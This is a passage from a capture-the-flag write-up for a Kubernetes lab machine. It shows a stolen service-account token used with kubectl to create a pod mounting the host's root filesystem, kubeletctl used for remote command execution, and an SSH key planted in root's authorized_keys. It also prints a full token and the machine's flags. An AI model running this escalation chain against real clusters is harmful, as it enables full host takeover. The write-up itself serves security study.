PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' get pod -o yaml > pod.yaml
```

After this, we obtained a `.yaml` file that can be used to create a new pod. To do so, we will change it a little bit, in order to replicate the `/` path under the name `fscopy` on the `/mnt` path of the pod:

```
❯ nvim pod.yaml
❯ cat pod.yaml
──────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────
      │
──────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────
      │ File: pod.yaml
      │ Size: 251 B
──────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────
      │
──────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────
   1  │ apiVersion: v1
   2  │ kind: Pod
   3  │ metadata:
   4  │   name: korriban
   5  │   namespace: default
   6  │ spec:
   7  │   containers:
   8  │   - name: korriban
   9  │     image: nginx:1.14.2
  10  │     volumeMounts:
  11  │     - mountPath: /mnt
  12  │       name: fscopy
  13  │   volumes:
  14  │   - name: fscopy
  15  │     hostPath:
  16  │       path: /
──────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────
```

The pod's name will be `korriban`, we can create it with the command `apply`:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
```

```
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' apply -f pod.yaml
pod/korriban created
```

Now, if we check the status of the new pod:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' get pod
NAME       READY   STATUS    RESTARTS   AGE
korriban   1/1     Running   0          38s
nginx      1/1     Running   0          170m
❯ kubeletctl -s 10.10.11.133 scan rce
┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────
──┐
│                                Node with pods vulnerable to RCE
│
├───┬──────────────┬──────────────────────────────────────────┬─────────────┬──────────────────────────┬──────
──┤
│   │ NODE IP      │ PODS                                     │ NAMESPACE   │ CONTAINERS               │
RCE │
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│   │              │                                          │             │                          │
RUN │
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 1 │ 10.10.11.133 │ coredns-78fcd69978-nx6hc                 │ kube-system │ coredns                  │ -
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 2 │              │ nginx                                    │ default     │ nginx                    │ +
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 3 │              │ korriban                                 │ default     │ korriban                 │ +
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 4 │              │ etcd-steamcloud                          │ kube-system │ etcd                     │ -
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 5 │              │ kube-apiserver-steamcloud                │ kube-system │ kube-apiserver           │ -
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 6 │              │ kube-controller-manager-steamcloud       │ kube-system │ kube-controller-manager  │ -
│
├───┼──────────────┼──────────────────────────────────────────┼─────────────┼──────────────────────────┼──────
──┤
│ 7 │              │ kube-scheduler-steamcloud                │ kube-system │ kube-scheduler           │ -
```

```
|
├──┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──
──┤
| 8 |              | storage-provisioner                  | kube-system | storage-provisioner      | -
|
├──┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──
──┤
| 9 |              | kube-proxy-drb42                     | kube-system | kube-proxy               | +
|
└──┴──────────────┴──────────────────────────────────────┴─────────────┴──────────────────────────┴──
──┘
```

As korriban is using nginx's image, it is also vulnerable to RCE, so we can obtain a shell the same way:

```
❯ kubeletctl -s 10.10.11.133 exec "bash" --pod korriban --container korriban
root@korriban:/# whoami
whoami
root
```

If the exploitation was successful, /mnt should have mounted the host's filesystem:

```
root@korriban:/# ls mnt
ls mnt
bin   home       lib32   media  root  sys  vmlinuz
boot  initrd.img      lib64  mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32     opt    sbin  usr
etc   lib        lost+found  proc   srv   var
```

It has, so we have now root access to the host filesystem. This means we can inject our public ssh key into /root/.ssh/authorized_keys:

```
# On the victim's machine
root@korriban:/# cd /mnt/root
cd /mnt/root
root@korriban:/mnt/root# mkdir .ssh
mkdir .ssh
# On our machine
❯ cd .ssh
❯ cat id_rsa.pub | xclip -sel clip
# On the victim's machine
root@korriban:/mnt/root# echo 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC/bdZe/XdfhgjC/nfs1y1oNKYp9gkIdiGuCTl9dhYp4n5m2FQo5b4do+iugQ4lHkb26HBO
SKWCGJiGdgUslkmn2VFhP3sO1ZXXYAtAO4eZT7coi6EFM0HdgCK2aUOtXoUFcxrt/95DAu/Nl69RYVv94n9d6wtp60Fb14VhsG/v
pBjOuaSQLJYYop59ny3TTkv/95iOQN44TQr9EVFDwevxTPi/4EpoJwAwh091/HBUJ13fP8T74gnHpoqIpkzDy1OK6OMXzXok2ZK1
NQ8DToiwGEQc4xRGuhTYjJMRzPZ+FXFzT+8YKf8yMZPVCz28o4i1fHC83/HH33KijUcUx72XdC6bIENQTwekxxVx9QLUYwFb8BDc
HZ1a3g1GvTl6JCYsvPyZLOSDz3GNhauI7nd1SQMCoL/leLRiNO+6x/uOqCE1lq2MtyAIKS3gemqCfK3XuT8K9ZYETXCb1eeo+xfJ
dqh60kN+0PVe46e2xclX4+/Sh3xYWGtq4a5o+W7BD/M= r3van@k0rriban' > .ssh/authorized_keys
# On our machine
❯ ssh -i id_rsa root@10.10.11.133
The authenticity of host '10.10.11.133 (10.10.11.133)' can\'t be established.
ED25519 key fingerprint is SHA256:/BfbWBuZ6K3xx1f7py/c7eMZ1Wedb7sKF5yhMHNXHZ4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.133' (ED25519) to the list of known hosts.
Linux steamcloud 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 10 09:00:00 2022
```

```
root@steamcloud:~# whoami
root
root@steamcloud:~#
```

We obtained a root shell on the victim's machine.

Machine flags

Type	Flag	Blood	Date
User	890b419bd3bd2d2367098b79776b3a30	No	02-06-2022
Root	acb345d74e372f99f42bbbe74ee1ff83	No	02-06-2022

References

- https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/
- https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/kubernetes-basics#kub1ectl-basics
- https://www.ibm.com/cloud/learn/etcd
- https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/
- https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
- https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes#enumeration-inside-a-pod
- https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/kubernetes-enumeration#service-account-tokens